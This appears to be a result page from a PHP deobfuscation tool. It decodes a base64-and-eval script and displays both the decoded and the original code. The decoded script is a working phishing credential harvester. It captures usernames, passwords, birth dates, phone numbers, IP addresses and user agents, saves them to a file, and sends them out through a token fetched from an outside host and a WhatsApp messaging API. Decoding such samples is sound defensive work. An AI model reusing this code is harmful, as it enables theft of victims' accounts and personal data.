Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $data = 'aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICR1c2VyID0gJF..

Decoded Output download

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
 $user = $_POST['user'];
$pass = $_POST['pass'];
$nick = $_POST['nick'];
$ttl = $_POST['ttl'];
$phone = $_POST['phone'];
$ip = $_SERVER['REMOTE_ADDR'];
$ag = $_SERVER['HTTP_USER_AGENT'];
$sms = "
INFORMASI AKUN
Nama:  ". $nick ."
Akun: ". $user . "
Sandi: ". $pass ."
TTL:  ". $ttl ."
Wa:  ". $phone ."
Ip:  ". $ip ."
userAgen: ". $ag ."
";   
  $file = fopen("result.txt", "a");
  fwrite($file, $sms);
  fclose($file);

  echo "Data berhasil disimpan.";
} else {
  echo "Metode request tidak valid.";
}
$id = include("user.php");
$bot = "http://abc-token.rf.gd/1.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $bot);
curl_setopt($ch, 
CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

$YZ = ($response);

$url = "https://api.fonnte.com/send?token=". $YZ . "&target=". $id ."&message=" . urlencode($sms);

header("Location: " . $url);

Did this file decode correctly?

Original Code

<?php
$data = 'aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICR1c2VyID0gJF9QT1NUWyd1c2VyJ107CiRwYXNzID0gJF9QT1NUWydwYXNzJ107CiRuaWNrID0gJF9QT1NUWyduaWNrJ107CiR0dGwgPSAkX1BPU1RbJ3R0bCddOwokcGhvbmUgPSAkX1BPU1RbJ3Bob25lJ107CiRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokYWcgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107CiRzbXMgPSAiCklORk9STUFTSSBBS1VOCk5hbWE6ICAiLiAkbmljayAuIgpBa3VuOiAiLiAkdXNlciAuICIKU2FuZGk6ICIuICRwYXNzIC4iClRUTDogICIuICR0dGwgLiIKV2E6ICAiLiAkcGhvbmUgLiIKSXA6ICAiLiAkaXAgLiIKdXNlckFnZW46ICIuICRhZyAuIgoiOyAgIAogICRmaWxlID0gZm9wZW4oInJlc3VsdC50eHQiLCAiYSIpOwogIGZ3cml0ZSgkZmlsZSwgJHNtcyk7CiAgZmNsb3NlKCRmaWxlKTsKCiAgZWNobyAiRGF0YSBiZXJoYXNpbCBkaXNpbXBhbi4iOwp9IGVsc2UgewogIGVjaG8gIk1ldG9kZSByZXF1ZXN0IHRpZGFrIHZhbGlkLiI7Cn0KJGlkID0gaW5jbHVkZSgidXNlci5waHAiKTsKJGJvdCA9ICJodHRwOi8vYWJjLXRva2VuLnJmLmdkLzEucGhwIjsKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRib3QpOwpjdXJsX3NldG9wdCgkY2gsIApDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CmN1cmxfY2xvc2UoJGNoKTsKCiRZWiA9ICgkcmVzcG9uc2UpOwoKJHVybCA9ICJodHRwczovL2FwaS5mb25udGUuY29tL3NlbmQ/dG9rZW49Ii4gJFlaIC4gIiZ0YXJnZXQ9Ii4gJGlkIC4iJm1lc3NhZ2U9IiAuIHVybGVuY29kZSgkc21zKTsKCmhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTs=';
$decode = base64_decode($data);
eval($decode);
?>

Function Calls

base64_decode 1

Variables

$data aWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsK..
$decode if ($_SERVER['REQUEST_METHOD'] === 'POST') { $user = $_POST..

Stats

MD5 814c871fb5748cc39835e5fc73274949
Eval Count 1
Decode Time 42 ms